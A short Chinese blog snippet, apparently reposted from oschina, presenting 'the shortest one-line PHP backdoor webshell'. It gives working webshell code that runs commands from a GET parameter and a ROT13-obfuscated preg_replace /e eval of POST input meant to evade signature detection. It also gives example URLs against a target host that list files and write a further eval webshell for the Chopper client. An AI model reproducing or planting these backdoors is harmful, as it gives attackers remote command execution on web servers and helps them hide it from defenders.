php最短一句话后门webshell

<?php
@`$_GET[c]`; //反引号执行
?>

preg_replace("//e",@str_rot13('@riny($_CBFG[p])'),"");  
//str_rot13('@riny($_CBFG[p])') == eval($_POST[c])
//字符串执行 ROT13 转换特征码,php version < 5.5.0 /e修饰符才可执行

  调用示例:

#生成当前目录列表dir.txt
http://target_host/webshell.php?c=dir%20>dir.txt 

#生成菜刀可调用的POST Shell
http://target_host/webshell.php?c=echo%20"<?php @eval($_POST[c]);>" > newshell.php

来源：oschina

链接：https://my.oschina.net/u/1389147/blog/505171